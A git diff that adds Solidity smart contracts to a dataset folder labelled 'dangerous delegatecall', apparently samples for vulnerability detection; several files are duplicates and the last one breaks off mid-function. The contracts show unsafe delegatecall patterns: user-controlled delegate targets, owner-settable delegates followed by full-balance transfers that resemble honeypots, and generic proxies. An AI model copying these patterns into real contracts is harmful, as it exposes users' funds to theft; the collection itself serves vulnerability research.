0000000000000000000000000000000000000000..b1c2e6e326b52e3f7d1259f93cd393a807abd207 --- /dev/null +++ b/smart_contract_dataset/dangerous delegatecall/34410.sol @@ -0,0 +1,29 @@ +pragma solidity ^0.4.18; + +contract Router +{ + address public Owner = msg.sender; + address public DataBase; + uint256 public Limit; + + + function Set(address dataBase, uint256 limit) + { + require(msg.sender == Owner); + Limit = limit; + DataBase = dataBase; + } + + function()payable{} + + function transfer(address adr) + payable + { + if(msg.value>Limit) + { + DataBase.delegatecall(bytes4(sha3("AddToDB(address)")),msg.sender); + adr.transfer(this.balance); + } + } + +} \ No newline at end of file diff --git a/smart_contract_dataset/dangerous delegatecall/34483.sol b/smart_contract_dataset/dangerous delegatecall/34483.sol new file mode 100644 index 0000000000000000000000000000000000000000..ab322ecbb65f04ad045bd0d2990dc6bfbaff54c3 --- /dev/null +++ b/smart_contract_dataset/dangerous delegatecall/34483.sol @@ -0,0 +1,30 @@ +pragma solidity ^0.4.18; + + +contract Conductor +{ + address public Owner = msg.sender; + address public DataBase; + uint256 public Limit; + + + function Set(address dataBase, uint256 limit) + { + require(msg.sender == Owner); + Limit = limit; + DataBase = dataBase; + } + + function()payable{} + + function transfer(address adr) + payable + { + if(msg.value>Limit) + { + DataBase.delegatecall(bytes4(sha3("AddToDB(address)")),msg.sender); + adr.transfer(this.balance); + } + } + +} \ No newline at end of file diff --git a/smart_contract_dataset/dangerous delegatecall/3721.sol b/smart_contract_dataset/dangerous delegatecall/3721.sol new file mode 100644 index 0000000000000000000000000000000000000000..1ccd6eb62b064e51cd9e58277f8a84fa84810aca --- /dev/null +++ b/smart_contract_dataset/dangerous delegatecall/3721.sol @@ -0,0 +1,45 @@ +pragma solidity ^0.4.21; + + + + + +contract Proxied { + address public masterCopy; +} + + + +contract Proxy is Proxied { + + + function Proxy(address _masterCopy) + public + { + require(_masterCopy != 0); + masterCopy = _masterCopy; + } + + + function () + external + payable + { + address _masterCopy = masterCopy; + assembly { + calldatacopy(0, 0, calldatasize()) + let success := delegatecall(not(0), _masterCopy, 0, calldatasize(), 0, 0) + returndatacopy(0, 0, returndatasize()) + switch success + case 0 { revert(0, returndatasize()) } + default { return(0, returndatasize()) } + } + } +} + + + +contract DutchExchangeProxy is Proxy { + function DutchExchangeProxy(address _masterCopy) Proxy (_masterCopy) { + } +} \ No newline at end of file diff --git a/smart_contract_dataset/dangerous delegatecall/38293.sol b/smart_contract_dataset/dangerous delegatecall/38293.sol new file mode 100644 index 0000000000000000000000000000000000000000..1ccd6eb62b064e51cd9e58277f8a84fa84810aca --- /dev/null +++ b/smart_contract_dataset/dangerous delegatecall/38293.sol @@ -0,0 +1,45 @@ +pragma solidity ^0.4.21; + + + + + +contract Proxied { + address public masterCopy; +} + + + +contract Proxy is Proxied { + + + function Proxy(address _masterCopy) + public + { + require(_masterCopy != 0); + masterCopy = _masterCopy; + } + + + function () + external + payable + { + address _masterCopy = masterCopy; + assembly { + calldatacopy(0, 0, calldatasize()) + let success := delegatecall(not(0), _masterCopy, 0, calldatasize(), 0, 0) + returndatacopy(0, 0, returndatasize()) + switch success + case 0 { revert(0, returndatasize()) } + default { return(0, returndatasize()) } + } + } +} + + + +contract DutchExchangeProxy is Proxy { + function DutchExchangeProxy(address _masterCopy) Proxy (_masterCopy) { + } +} \ No newline at end of file diff --git a/smart_contract_dataset/dangerous delegatecall/38370.sol b/smart_contract_dataset/dangerous delegatecall/38370.sol new file mode 100644 index 0000000000000000000000000000000000000000..1ccd6eb62b064e51cd9e58277f8a84fa84810aca --- /dev/null +++ b/smart_contract_dataset/dangerous delegatecall/38370.sol @@ -0,0 +1,45 @@ +pragma solidity ^0.4.21; + + + + + +contract Proxied { + address public masterCopy; +} + + + +contract Proxy is Proxied { + + + function Proxy(address _masterCopy) + public + { + require(_masterCopy != 0); + masterCopy = _masterCopy; + } + + + function () + external + payable + { + address _masterCopy = masterCopy; + assembly { + calldatacopy(0, 0, calldatasize()) + let success := delegatecall(not(0), _masterCopy, 0, calldatasize(), 0, 0) + returndatacopy(0, 0, returndatasize()) + switch success + case 0 { revert(0, returndatasize()) } + default { return(0, returndatasize()) } + } + } +} + + + +contract DutchExchangeProxy is Proxy { + function DutchExchangeProxy(address _masterCopy) Proxy (_masterCopy) { + } +} \ No newline at end of file diff --git a/smart_contract_dataset/dangerous delegatecall/43210.sol b/smart_contract_dataset/dangerous delegatecall/43210.sol new file mode 100644 index 0000000000000000000000000000000000000000..1ccd6eb62b064e51cd9e58277f8a84fa84810aca --- /dev/null +++ b/smart_contract_dataset/dangerous delegatecall/43210.sol @@ -0,0 +1,45 @@ +pragma solidity ^0.4.21; + + + + + +contract Proxied { + address public masterCopy; +} + + + +contract Proxy is Proxied { + + + function Proxy(address _masterCopy) + public + { + require(_masterCopy != 0); + masterCopy = _masterCopy; + } + + + function () + external + payable + { + address _masterCopy = masterCopy; + assembly { + calldatacopy(0, 0, calldatasize()) + let success := delegatecall(not(0), _masterCopy, 0, calldatasize(), 0, 0) + returndatacopy(0, 0, returndatasize()) + switch success + case 0 { revert(0, returndatasize()) } + default { return(0, returndatasize()) } + } + } +} + + + +contract DutchExchangeProxy is Proxy { + function DutchExchangeProxy(address _masterCopy) Proxy (_masterCopy) { + } +} \ No newline at end of file diff --git a/smart_contract_dataset/dangerous delegatecall/44311.sol b/smart_contract_dataset/dangerous delegatecall/44311.sol new file mode 100644 index 0000000000000000000000000000000000000000..2fe9d2020125757c4f305639feb6073ea551f200 --- /dev/null +++ b/smart_contract_dataset/dangerous delegatecall/44311.sol @@ -0,0 +1,9 @@ +pragma solidity ^0.4.24; + +contract DelegateCaller { + uint public n; + function delegatecallSetN(address _e, uint _n) public { + if (! _e.delegatecall(bytes4(keccak256("setN(uint256)")), _n)) + revert(); + } +} \ No newline at end of file diff --git a/smart_contract_dataset/dangerous delegatecall/44417.sol b/smart_contract_dataset/dangerous delegatecall/44417.sol new file mode 100644 index 0000000000000000000000000000000000000000..399059aabbe45c7cceae005ce50bfcda1df06b76 --- /dev/null +++ b/smart_contract_dataset/dangerous delegatecall/44417.sol @@ -0,0 +1,125 @@ +pragma solidity ^0.6.0; +pragma experimental ABIEncoderV2; + + + +interface IndexInterface { + function connectors(uint version) external view returns (address); + function check(uint version) external view returns (address); + function list() external view returns (address); +} + +interface ConnectorsInterface { + function isConnector(address[] calldata logicAddr) external view returns (bool); + function isStaticConnector(address[] calldata logicAddr) external view returns (bool); +} + +interface CheckInterface { + function isOk() external view returns (bool); +} + +interface ListInterface { + function addAuth(address user) external; + function removeAuth(address user) external; +} + + +contract Record { + + event LogEnable(address indexed user); + event LogDisable(address indexed user); + event LogSwitchShield(bool _shield); + + + address public constant instaIndex = 0x0000000000000000000000000000000000000000; + + uint public constant version = 1; + + mapping (address => bool) private auth; + + bool public shield; + + + function isAuth(address user) public view returns (bool) { + return auth[user]; + } + + + function switchShield(bool _shield) external { + require(auth[msg.sender], "not-self"); + require(shield != _shield, "shield is set"); + shield = _shield; + emit LogSwitchShield(shield); + } + + + function enable(address user) public { + require(msg.sender == address(this) || msg.sender == instaIndex, "not-self-index"); + require(user != address(0), "not-valid"); + require(!auth[user], "already-enabled"); + auth[user] = true; + ListInterface(IndexInterface(instaIndex).list()).addAuth(user); + emit LogEnable(user); + } + + + function disable(address user) public { + require(msg.sender == address(this), "not-self"); + require(user != address(0), "not-valid"); + require(auth[user], "already-disabled"); + delete auth[user]; + ListInterface(IndexInterface(instaIndex).list()).removeAuth(user); + emit LogDisable(user); + } + +} + +contract InstaAccount is Record { + + event LogCast(address indexed origin, address indexed sender, uint value); + + receive() external payable {} + + + function spell(address _target, bytes memory _data) internal { + require(_target != address(0), "target-invalid"); + assembly { + let succeeded := delegatecall(gas(), _target, add(_data, 0x20), mload(_data), 0, 0) + + switch iszero(succeeded) + case 1 { + + let size := returndatasize() + returndatacopy(0x00, 0x00, size) + revert(0x00, size) + } + } + } + + + function cast( + address[] calldata _targets, + bytes[] calldata _datas, + address _origin + ) + external + payable + { + require(isAuth(msg.sender) || msg.sender == instaIndex, "permission-denied"); + require(_targets.length == _datas.length , "array-length-invalid"); + IndexInterface indexContract = IndexInterface(instaIndex); + bool isShield = shield; + if (!isShield) { + require(ConnectorsInterface(indexContract.connectors(version)).isConnector(_targets), "not-connector"); + } else { + require(ConnectorsInterface(indexContract.connectors(version)).isStaticConnector(_targets), "not-static-connector"); + } + for (uint i = 0; i < _targets.length; i++) { + spell(_targets[i], _datas[i]); + } + address _check = indexContract.check(version); + if (_check != address(0) && !isShield) require(CheckInterface(_check).isOk(), "not-ok"); + emit LogCast(_origin, msg.sender, msg.value); + } + +} \ No newline at end of file diff --git a/smart_contract_dataset/dangerous delegatecall/44418.sol b/smart_contract_dataset/dangerous delegatecall/44418.sol new file mode 100644 index 0000000000000000000000000000000000000000..c4bfbc9b9b29c9d7d96106ddb7fb6ba247b52da3 --- /dev/null +++ b/smart_contract_dataset/dangerous delegatecall/44418.sol @@ -0,0 +1,58 @@ + +pragma solidity ^0.7.0; + +interface AccountImplementations { + function getImplementation(bytes4 _sig) external view returns (address); +} + + +contract InstaAccountV2 { + + AccountImplementations public immutable implementations; + + constructor(address _implementations) { + implementations = AccountImplementations(_implementations); + } + + + function _delegate(address implementation) internal { + + assembly { + + + + calldatacopy(0, 0, calldatasize()) + + + + let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0) + + + returndatacopy(0, 0, returndatasize()) + + switch result + + case 0 { revert(0, returndatasize()) } + default { return(0, returndatasize()) } + } + } + + + function _fallback(bytes4 _sig) internal { + address _implementation = implementations.getImplementation(_sig); + require(_implementation != address(0), "InstaAccountV2: Not able to find _implementation"); + _delegate(_implementation); + } + + + fallback () external payable { + _fallback(msg.sig); + } + + + receive () external payable { + if (msg.sig != 0x00000000) { + _fallback(msg.sig); + } + } +} diff --git a/smart_contract_dataset/dangerous delegatecall/47235.sol b/smart_contract_dataset/dangerous delegatecall/47235.sol new file mode 100644 index 0000000000000000000000000000000000000000..1ccd6eb62b064e51cd9e58277f8a84fa84810aca --- /dev/null +++ b/smart_contract_dataset/dangerous delegatecall/47235.sol @@ -0,0 +1,45 @@ +pragma solidity ^0.4.21; + + + + + +contract Proxied { + address public masterCopy; +} + + + +contract Proxy is Proxied { + + + function Proxy(address _masterCopy) + public + { + require(_masterCopy != 0); + masterCopy = _masterCopy; + } + + + function () + external + payable + { + address _masterCopy = masterCopy; + assembly { + calldatacopy(0, 0, calldatasize()) + let success := delegatecall(not(0), _masterCopy, 0, calldatasize(), 0, 0) + returndatacopy(0, 0, returndatasize()) + switch success + case 0 { revert(0, returndatasize()) } + default { return(0, returndatasize()) } + } + } +} + + + +contract DutchExchangeProxy is Proxy { + function DutchExchangeProxy(address _masterCopy) Proxy (_masterCopy) { + } +} \ No newline at end of file diff --git a/smart_contract_dataset/dangerous delegatecall/47236.sol b/smart_contract_dataset/dangerous delegatecall/47236.sol new file mode 100644 index 0000000000000000000000000000000000000000..1ccd6eb62b064e51cd9e58277f8a84fa84810aca --- /dev/null +++ b/smart_contract_dataset/dangerous delegatecall/47236.sol @@ -0,0 +1,45 @@ +pragma solidity ^0.4.21; + + + + + +contract Proxied { + address public masterCopy; +} + + + +contract Proxy is Proxied { + + + function Proxy(address _masterCopy) + public + { + require(_masterCopy != 0); + masterCopy = _masterCopy; + } + + + function () + external + payable + { + address _masterCopy = masterCopy; + assembly { + calldatacopy(0, 0, calldatasize()) + let success := delegatecall(not(0), _masterCopy, 0, calldatasize(), 0, 0) + returndatacopy(0, 0, returndatasize()) + switch success + case 0 { revert(0, returndatasize()) } + default { return(0, returndatasize()) } + } + } +} + + + +contract DutchExchangeProxy is Proxy { + function DutchExchangeProxy(address _masterCopy) Proxy (_masterCopy) { + } +} \ No newline at end of file diff --git a/smart_contract_dataset/dangerous delegatecall/510.sol b/smart_contract_dataset/dangerous delegatecall/510.sol new file mode 100644 index 0000000000000000000000000000000000000000..e3aadfcc095fd9eadbdc543c90be40f5695fbec4 --- /dev/null +++ b/smart_contract_dataset/dangerous delegatecall/510.sol @@ -0,0 +1,479 @@ +pragma solidity ^0.4.23; + +interface RegistryInterface { + function getLatestVersion(address stor_addr, bytes32 exec_id, address provider, bytes32 app_name) + external view returns (bytes32 latest_name); + function getVersionImplementation(address stor_addr, bytes32 exec_id, address provider, bytes32 app_name, bytes32 version_name) + external view returns (address index, bytes4[] selectors, address[] implementations); +} + +contract AbstractStorage { + + + + bytes32 private exec_id; + address private sender; + + + uint private nonce; + + + + event ApplicationInitialized(bytes32 indexed execution_id, address indexed index, address script_exec); + event ApplicationExecution(bytes32 indexed execution_id, address indexed script_target); + event DeliveredPayment(bytes32 indexed execution_id, address indexed destination, uint amount); + + + + + + bytes32 internal constant EXEC_PERMISSIONS = keccak256('script_exec_permissions'); + bytes32 internal constant APP_IDX_ADDR = keccak256('index'); + + + + bytes4 internal constant EMITS = bytes4(keccak256('Emit((bytes32[],bytes)[])')); + bytes4 internal constant STORES = bytes4(keccak256('Store(bytes32[])')); + bytes4 internal constant PAYS = bytes4(keccak256('Pay(bytes32[])')); + bytes4 internal constant THROWS = bytes4(keccak256('Error(string)')); + + + + bytes4 internal constant REG_APP + = bytes4(keccak256('registerApp(bytes32,address,bytes4[],address[])')); + bytes4 internal constant REG_APP_VER + = bytes4(keccak256('registerAppVersion(bytes32,bytes32,address,bytes4[],address[])')); + bytes4 internal constant UPDATE_EXEC_SEL + = bytes4(keccak256('updateExec(address)')); + bytes4 internal constant UPDATE_INST_SEL + = bytes4(keccak256('updateInstance(bytes32,bytes32,bytes32)')); + + + function createRegistry(address _registry_idx, address _implementation) external returns (bytes32) { + bytes32 new_exec_id = keccak256(++nonce); + put(new_exec_id, keccak256(msg.sender, EXEC_PERMISSIONS), bytes32(1)); + put(new_exec_id, APP_IDX_ADDR, bytes32(_registry_idx)); + put(new_exec_id, keccak256(REG_APP, 'implementation'), bytes32(_implementation)); + put(new_exec_id, keccak256(REG_APP_VER, 'implementation'), bytes32(_implementation)); + put(new_exec_id, keccak256(UPDATE_INST_SEL, 'implementation'), bytes32(_implementation)); + put(new_exec_id, keccak256(UPDATE_EXEC_SEL, 'implementation'), bytes32(_implementation)); + emit ApplicationInitialized(new_exec_id, _registry_idx, msg.sender); + return new_exec_id; + } + + + + + function createInstance(address _sender, bytes32 _app_name, address _provider, bytes32 _registry_id, bytes _calldata) external payable returns (bytes32 new_exec_id, bytes32 version) { + + require(_sender != 0 && _app_name != 0 && _provider != 0 && _registry_id != 0 && _calldata.length >= 4, 'invalid input'); + + + new_exec_id = keccak256(++nonce); + + + assert(getIndex(new_exec_id) == address(0)); + + + address index; + (index, version) = setImplementation(new_exec_id, _app_name, _provider, _registry_id); + + + setContext(new_exec_id, _sender); + + + require(address(index).delegatecall(_calldata) == false, 'Unsafe execution'); + + executeAppReturn(new_exec_id); + + + emit ApplicationInitialized(new_exec_id, index, msg.sender); + + + assert(new_exec_id != bytes32(0)); + + + if (address(this).balance > 0) + address(msg.sender).transfer(address(this).balance); + } + + + function exec(address _sender, bytes32 _exec_id, bytes _calldata) external payable returns (uint n_emitted, uint n_paid, uint n_stored) { + + require(_calldata.length >= 4 && _sender != address(0) && _exec_id != bytes32(0)); + + + address target = getTarget(_exec_id, getSelector(_calldata)); + require(target != address(0), 'Uninitialized application'); + + + setContext(_exec_id, _sender); + + + require(address(target).delegatecall(_calldata) == false, 'Unsafe execution'); + (n_emitted, n_paid, n_stored) = executeAppReturn(_exec_id); + + + if (n_emitted == 0 && n_paid == 0 && n_stored == 0) + revert('No state change occured'); + + + emit ApplicationExecution(_exec_id, target); + + + if (address(this).balance > 0) + address(msg.sender).transfer(address(this).balance); + } + + + + + function executeAppReturn(bytes32 _exec_id) internal returns (uint n_emitted, uint n_paid, uint n_stored) { + uint _ptr; + uint ptr_bound; + (ptr_bound, _ptr) = getReturnedData(); + + if (getAction(_ptr) == THROWS) { + + doThrow(_ptr); + + assert(false); + } + + + require(ptr_bound >= _ptr + 64, 'Malformed returndata - invalid size'); + _ptr += 64; + + + bytes4 action; + while (_ptr <= ptr_bound && (action = getAction(_ptr)) != 0x0) { + if (action == EMITS) { + + require(n_emitted == 0, 'Duplicate action: EMITS'); + + + (_ptr, n_emitted) = doEmit(_ptr, ptr_bound); + + require(n_emitted != 0, 'Unfulfilled action: EMITS'); + } else if (action == STORES) { + + require(n_stored == 0, 'Duplicate action: STORES'); + + + (_ptr, n_stored) = doStore(_ptr, ptr_bound, _exec_id); + + require(n_stored != 0, 'Unfulfilled action: STORES'); + } else if (action == PAYS) { + + require(n_paid == 0, 'Duplicate action: PAYS'); + + + (_ptr, n_paid) = doPay(_exec_id, _ptr, ptr_bound); + + require(n_paid != 0, 'Unfulfilled action: PAYS'); + } else { + + revert('Malformed returndata - unknown action'); + } + } + assert(n_emitted != 0 || n_paid != 0 || n_stored != 0); + } + + + + + function setImplementation(bytes32 _new_exec_id, bytes32 _app_name, address _provider, bytes32 _registry_id) internal returns (address index, bytes32 version) { + + index = getIndex(_registry_id); + require(index != address(0) && index != address(this), 'Registry application not found'); + + version = RegistryInterface(index).getLatestVersion( + address(this), _registry_id, _provider, _app_name + ); + + require(version != bytes32(0), 'Invalid version name'); + + + bytes4[] memory selectors; + address[] memory implementations; + (index, selectors, implementations) = RegistryInterface(index).getVersionImplementation( + address(this), _registry_id, _provider, _app_name, version + ); + + require(index != address(0), 'Invalid index address'); + + require(selectors.length == implementations.length && selectors.length != 0, 'Invalid implementation length'); + + + bytes32 seed = APP_IDX_ADDR; + put(_new_exec_id, seed, bytes32(index)); + + for (uint i = 0; i < selectors.length; i++) { + require(selectors[i] != 0 && implementations[i] != 0, 'invalid input - expected nonzero implementation'); + seed = keccak256(selectors[i], 'implementation'); + put(_new_exec_id, seed, bytes32(implementations[i])); + } + + return (index, version); + } + + + + function getIndex(bytes32 _exec_id) public view returns (address) { + bytes32 seed = APP_IDX_ADDR; + function (bytes32, bytes32) view returns (address) getter; + assembly { getter := readMap } + return getter(_exec_id, seed); + } + + + function getTarget(bytes32 _exec_id, bytes4 _selector) public view returns (address) { + bytes32 seed = keccak256(_selector, 'implementation'); + function (bytes32, bytes32) view returns (address) getter; + assembly { getter := readMap } + return getter(_exec_id, seed); + } + + struct Map { mapping(bytes32 => bytes32) inner; } + + + function readMap(Map storage _map, bytes32 _seed) internal view returns (bytes32) { + return _map.inner[_seed]; + } + + + function put(bytes32 _exec_id, bytes32 _seed, bytes32 _val) internal { + function (bytes32, bytes32, bytes32) puts; + assembly { puts := putMap } + puts(_exec_id, _seed, _val); + } + + + function putMap(Map storage _map, bytes32 _seed, bytes32 _val) internal { + _map.inner[_seed] = _val; + } + + + + function getSelector(bytes memory _calldata) internal pure returns (bytes4 sel) { + assembly { + sel := and( + mload(add(0x20, _calldata)), + 0xffffffff00000000000000000000000000000000000000000000000000000000 + ) + } + } + + + function getReturnedData() internal pure returns (uint ptr_bounds, uint _returndata_ptr) { + assembly { + + if lt(returndatasize, 0x60) { + mstore(0, 0x20) + mstore(0x20, 24) + mstore(0x40, 'Insufficient return size') + revert(0, 0x60) + } + + _returndata_ptr := msize + + returndatacopy(_returndata_ptr, 0, returndatasize) + + ptr_bounds := add(_returndata_ptr, returndatasize) + + + mstore(0x40, add(0x20, ptr_bounds)) + } + } + + + function getLength(uint _ptr) internal pure returns (uint length) { + assembly { length := mload(_ptr) } + } + + + function doThrow(uint _ptr) internal pure { + assert(getAction(_ptr) == THROWS); + assembly { revert(_ptr, returndatasize) } + } + + + function doPay(bytes32 _exec_id, uint _ptr, uint _ptr_bound) internal returns (uint ptr, uint n_paid) { + + require(msg.value > 0); + assert(getAction(_ptr) == PAYS); + _ptr += 4; + + uint num_destinations = getLength(_ptr); + _ptr += 32; + address pay_to; + uint amt; + + while (_ptr <= _ptr_bound && n_paid < num_destinations) { + + assembly { + amt := mload(_ptr) + pay_to := mload(add(0x20, _ptr)) + } + + if (pay_to == address(0) || pay_to == address(this)) + revert('PAYS: invalid destination'); + + + address(pay_to).transfer(amt); + n_paid++; + + _ptr += 64; + + emit DeliveredPayment(_exec_id, pay_to, amt); + } + ptr = _ptr; + assert(n_paid == num_destinations); + } + + + function doStore(uint _ptr, uint _ptr_bound, bytes32 _exec_id) internal returns (uint ptr, uint n_stored) { + assert(getAction(_ptr) == STORES && _exec_id != bytes32(0)); + _ptr += 4; + + uint num_locations = getLength(_ptr); + _ptr += 32; + bytes32 location; + bytes32 value; + + while (_ptr <= _ptr_bound && n_stored < num_locations) { + + assembly { + location := mload(_ptr) + value := mload(add(0x20, _ptr)) + } + + store(_exec_id, location, value); + + n_stored++; + _ptr += 64; + } + ptr = _ptr; + require(n_stored == num_locations); + } + + + function doEmit(uint _ptr, uint _ptr_bound) internal returns (uint ptr, uint n_emitted) { + assert(getAction(_ptr) == EMITS); + _ptr += 4; + + uint num_events = getLength(_ptr); + _ptr += 32; + bytes32[] memory topics; + bytes memory data; + + while (_ptr <= _ptr_bound && n_emitted < num_events) { + + assembly { + topics := _ptr + data := add(add(_ptr, 0x20), mul(0x20, mload(topics))) + } + + uint log_size = 32 + (32 * (1 + topics.length)) + data.length; + assembly { + switch mload(topics) + case 0 { + + log0( + add(0x20, data), + mload(data) + ) + } + case 1 { + + log1( + add(0x20, data), + mload(data), + mload(add(0x20, topics)) + ) + } + case 2 { + + log2( + add(0x20, data), + mload(data), + mload(add(0x20, topics)), + mload(add(0x40, topics)) + ) + } + case 3 { + + log3( + add(0x20, data), + mload(data), + mload(add(0x20, topics)), + mload(add(0x40, topics)), + mload(add(0x60, topics)) + ) + } + case 4 { + + log4( + add(0x20, data), + mload(data), + mload(add(0x20, topics)), + mload(add(0x40, topics)), + mload(add(0x60, topics)), + mload(add(0x80, topics)) + ) + } + default { + + mstore(0, 'EMITS: invalid topic count') + revert(0, 0x20) + } + } + + n_emitted++; + _ptr += log_size; + } + ptr = _ptr; + require(n_emitted == num_events); + } + + + function getAction(uint _ptr) internal pure returns (bytes4 action) { + assembly { + + action := and(mload(_ptr), 0xffffffff00000000000000000000000000000000000000000000000000000000) + } + } + + + + function setContext(bytes32 _exec_id, address _sender) internal { + + assert(_exec_id != bytes32(0) && _sender != address(0)); + exec_id = _exec_id; + sender = _sender; + } + + + function store(bytes32 _exec_id, bytes32 _location, bytes32 _data) internal { + + _location = keccak256(_location, _exec_id); + + assembly { sstore(_location, _data) } + } + + + + + function read(bytes32 _exec_id, bytes32 _location) public view returns (bytes32 data_read) { + _location = keccak256(_location, _exec_id); + assembly { data_read := sload(_location) } + } + + + function readMulti(bytes32 _exec_id, bytes32[] _locations) public view returns (bytes32[] data_read) { + data_read = new bytes32[](_locations.length); + for (uint i = 0; i < _locations.length; i++) { + data_read[i] = read(_exec_id, _locations[i]); + } + } +} \ No newline at end of file diff --git a/smart_contract_dataset/dangerous delegatecall/5321.sol b/smart_contract_dataset/dangerous delegatecall/5321.sol new file mode 100644 index 0000000000000000000000000000000000000000..1ccd6eb62b064e51cd9e58277f8a84fa84810aca --- /dev/null +++ b/smart_contract_dataset/dangerous delegatecall/5321.sol @@ -0,0 +1,45 @@ +pragma solidity ^0.4.21; + + + + + +contract Proxied { + address public masterCopy; +} + + + +contract Proxy is Proxied { + + + function Proxy(address _masterCopy) + public + { + require(_masterCopy != 0); + masterCopy = _masterCopy; + } + + + function () + external + payable + { + address _masterCopy = masterCopy; + assembly { + calldatacopy(0, 0, calldatasize()) + let success := delegatecall(not(0), _masterCopy, 0, calldatasize(), 0, 0) + returndatacopy(0, 0, returndatasize()) + switch success + case 0 { revert(0, returndatasize()) } + default { return(0, returndatasize()) } + } + } +} + + + +contract DutchExchangeProxy is Proxy { + function DutchExchangeProxy(address _masterCopy) Proxy (_masterCopy) { + } +} \ No newline at end of file diff --git a/smart_contract_dataset/dangerous delegatecall/5349.sol b/smart_contract_dataset/dangerous delegatecall/5349.sol new file mode 100644 index 0000000000000000000000000000000000000000..1ccd6eb62b064e51cd9e58277f8a84fa84810aca --- /dev/null +++ b/smart_contract_dataset/dangerous delegatecall/5349.sol @@ -0,0 +1,45 @@ +pragma solidity ^0.4.21; + + + + + +contract Proxied { + address public masterCopy; +} + + + +contract Proxy is Proxied { + + + function Proxy(address _masterCopy) + public + { + require(_masterCopy != 0); + masterCopy = _masterCopy; + } + + + function () + external + payable + { + address _masterCopy = masterCopy; + assembly { + calldatacopy(0, 0, calldatasize()) + let success := delegatecall(not(0), _masterCopy, 0, calldatasize(), 0, 0) + returndatacopy(0, 0, returndatasize()) + switch success + case 0 { revert(0, returndatasize()) } + default { return(0, returndatasize()) } + } + } +} + + + +contract DutchExchangeProxy is Proxy { + function DutchExchangeProxy(address _masterCopy) Proxy (_masterCopy) { + } +} \ No newline at end of file diff --git a/smart_contract_dataset/dangerous delegatecall/5901.sol b/smart_contract_dataset/dangerous delegatecall/5901.sol new file mode 100644 index 0000000000000000000000000000000000000000..1ccd6eb62b064e51cd9e58277f8a84fa84810aca --- /dev/null +++ b/smart_contract_dataset/dangerous delegatecall/5901.sol @@ -0,0 +1,45 @@ +pragma solidity ^0.4.21; + + + + + +contract Proxied { + address public masterCopy; +} + + + +contract Proxy is Proxied { + + + function Proxy(address _masterCopy) + public + { + require(_masterCopy != 0); + masterCopy = _masterCopy; + } + + + function () + external + payable + { + address _masterCopy = masterCopy; + assembly { + calldatacopy(0, 0, calldatasize()) + let success := delegatecall(not(0), _masterCopy, 0, calldatasize(), 0, 0) + returndatacopy(0, 0, returndatasize()) + switch success + case 0 { revert(0, returndatasize()) } + default { return(0, returndatasize()) } + } + } +} + + + +contract DutchExchangeProxy is Proxy { + function DutchExchangeProxy(address _masterCopy) Proxy (_masterCopy) { + } +} \ No newline at end of file diff --git a/smart_contract_dataset/dangerous delegatecall/6043.sol b/smart_contract_dataset/dangerous delegatecall/6043.sol new file mode 100644 index 0000000000000000000000000000000000000000..3077bbb548609a5b99e269ab1c74cd5f41877578 --- /dev/null +++ b/smart_contract_dataset/dangerous delegatecall/6043.sol @@ -0,0 +1,352 @@ +pragma solidity ^0.4.22; + + + + + +contract ERC20Interface { + function balanceOf(address tokenOwner) public constant returns (uint balance); + function allowance(address _owner, address _spender) public constant returns (uint remaining); + function transfer(address to, uint tokens) public returns (bool success); + function approve(address spender, uint tokens) public returns (bool success); + function transferFrom(address from, address to, uint256 _value) public returns (bool); + + event Transfer(address indexed from, address indexed to, uint value); + event Approval(address indexed tokenOwner, address indexed spender, uint tokens); +} + + + + +contract ERC223Interface { + uint public totalSupply; + function transfer(address to, uint value, bytes data) public returns (bool success); + event Transfer(address indexed from, address indexed to, uint value, bytes data); +} + +contract owned { + address public owner; + + constructor() public { + owner = msg.sender; + } + + modifier onlyOwner { + require(msg.sender == owner); + _; + } + +} + +contract ContractReceiver { + struct TKN { + address sender; + uint value; + bytes data; + bytes4 sig; + } + + function tokenFallback(address _from, uint _value, bytes _data) public pure { + TKN memory tkn; + tkn.sender = _from; + tkn.value = _value; + tkn.data = _data; + uint32 u = uint32(_data[3]) + (uint32(_data[2]) << 8) + (uint32(_data[1]) << 16) + (uint32(_data[0]) << 24); + tkn.sig = bytes4(u); + + + } +} + + +library SafeMath { + function mul(uint a, uint b) internal pure returns (uint) { + uint c = a * b; + assert(a == 0 || c / a == b); + return c; + } + + function div(uint a, uint b) internal pure returns (uint) { + + uint c = a / b; + + return c; + } + + function sub(uint a, uint b) internal pure returns (uint) { + assert(b <= a); + return a - b; + } + + function add(uint a, uint b) internal pure returns (uint) { + uint c = a + b; + assert(c >= a); + return c; + } +} +contract TimeVaultInterface is ERC20Interface, ERC223Interface { + function timeVault(address who) public constant returns (uint); + function getNow() public constant returns (uint); + function transferByOwner(address to, uint _value, uint timevault) public returns (bool); +} + +contract SPFCTokenType { + uint public decimals; + uint public totalSupply; + + mapping(address => uint) balances; + + mapping(address => uint) timevault; + mapping(address => mapping(address => uint)) allowed; + + + bool public released; + + + uint public globalTimeVault; + + event Transfer(address indexed from, address indexed to, uint tokens); +} + +contract ERC20Token is ERC20Interface, ERC223Interface, SPFCTokenType { + using SafeMath for uint; + + function transfer(address _to, uint _value) public returns (bool success) { + bytes memory empty; + return transfer(_to, _value, empty); + } + + + function transfer(address _to, uint _value, bytes _data) public returns (bool success) { + + if (isContract(_to)) { + return transferToContract(_to, _value, _data, false); + } + else { + return transferToAddress(_to, _value, false); + } + } + + + function approve(address _spender, uint _value) public returns (bool) { + allowed[msg.sender][_spender] = _value; + emit Approval(msg.sender, _spender, _value); + return true; + } + + + function allowance(address _owner, address _spender) public constant returns (uint remaining) { + return allowed[_owner][_spender]; + } + + + function balanceOf(address _owner) public constant returns (uint balance) { + return balances[_owner]; + } + + function isContract(address _addr) private view returns (bool is_contract) { + uint length; + assembly + { + + length := extcodesize(_addr) + } + return (length > 0); + } + + + + function transferToAddress(address _to, uint _value, bool withAllowance) private returns (bool success) { + transferIfRequirementsMet(msg.sender, _to, _value, withAllowance); + emit Transfer(msg.sender, _to, _value); + return true; + } + + + function transferToContract(address _to, uint _value, bytes _data, bool withAllowance) private returns (bool success) { + transferIfRequirementsMet(msg.sender, _to, _value, withAllowance); + ContractReceiver receiver = ContractReceiver(_to); + receiver.tokenFallback(msg.sender, _value, _data); + emit Transfer(msg.sender, _to, _value, _data); + return true; + } + + + + + + function checkTransferRequirements(address _to, uint _value) private view { + require(_to != address(0)); + require(released == true); + require(now > globalTimeVault); + if (timevault[msg.sender] != 0) + { + require(now > timevault[msg.sender]); + } + require(balanceOf(msg.sender) >= _value); + } + + + function transferIfRequirementsMet(address _from, address _to, uint _value, bool withAllowances) private { + checkTransferRequirements(_to, _value); + if ( withAllowances) + { + require (_value <= allowed[_from][msg.sender]); + } 